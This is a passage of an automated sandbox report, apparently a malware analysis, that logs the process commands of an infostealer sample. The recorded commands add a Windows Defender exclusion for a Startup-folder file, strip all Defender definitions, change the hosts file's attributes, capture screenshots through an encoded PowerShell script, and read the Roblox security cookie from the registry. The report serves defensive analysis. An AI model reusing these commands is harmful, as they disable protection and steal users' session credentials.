Start time:	22:16:00
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x7ff6bab10000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	22:16:00
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	22:16:00
Start date:	15/09/2023
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path win32_VideoController get name
Imagebase:	0x7ff6a2030000
File size:	521'728 bytes
MD5 hash:	EC80E603E0090B3AC3C1234C2BA43A0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	22:16:00
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: conhost.exePID: 5388, Parent PID: 5396

General

Target ID:	25
Start time:	22:16:00
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	22:16:00
Start date:	15/09/2023
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path win32_VideoController get name
Imagebase:	0x7ff6a2030000
File size:	521'728 bytes
MD5 hash:	EC80E603E0090B3AC3C1234C2BA43A0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	22:16:01
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr'"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	22:16:02
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	22:16:02
Start date:	15/09/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr'
Imagebase:	0x7ff6afba0000
File size:	447'488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	22:16:02
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: conhost.exePID: 6352, Parent PID: 6476

General

Target ID:	31
Start time:	22:16:02
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	22:16:02
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	22:16:03
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	22:16:03
Start date:	15/09/2023
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff667630000
File size:	100'352 bytes
MD5 hash:	B12E0F9C42075B4B7AD01D0B6A48485D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	22:16:03
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	22:16:03
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	22:16:03
Start date:	15/09/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
Imagebase:	0x7ff6afba0000
File size:	447'488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	22:16:03
Start date:	15/09/2023
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Imagebase:	0x7ff720240000
File size:	72'704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	22:16:04
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	22:16:04
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	22:16:04
Start date:	15/09/2023
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Imagebase:	0x7ff6483a0000
File size:	455'656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	22:16:04
Start date:	15/09/2023
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib -r C:\Windows\System32\drivers\etc\hosts
Imagebase:	0x7ff609bc0000
File size:	21'504 bytes
MD5 hash:	FDC601145CD289C6FBC96D3F805F3CD7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	22:16:04
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	22:16:04
Start date:	15/09/2023
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.cmdline
Imagebase:	0x7ff7084b0000
File size:	2'758'280 bytes
MD5 hash:	23EE3D381CFE3B9F6229483E2CE2F9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	22:16:04
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	22:16:04
Start date:	15/09/2023
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +r C:\Windows\System32\drivers\etc\hosts
Imagebase:	0x7ff609bc0000
File size:	21'504 bytes
MD5 hash:	FDC601145CD289C6FBC96D3F805F3CD7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	22:16:04
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: conhost.exePID: 6400, Parent PID: 6508

General

Target ID:	48
Start time:	22:16:04
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	22:16:04
Start date:	15/09/2023
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff667630000
File size:	100'352 bytes
MD5 hash:	B12E0F9C42075B4B7AD01D0B6A48485D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	22:16:04
Start date:	15/09/2023
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESCCB6.tmp" "c:\Users\user\AppData\Local\Temp\ozweafg0\CSCCDFC3EC49286452EA176429826C32718.TMP"
Imagebase:	0x7ff7a7bb0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	22:16:05
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	22:16:05
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	22:16:05
Start date:	15/09/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff6afba0000
File size:	447'488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	22:16:07
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
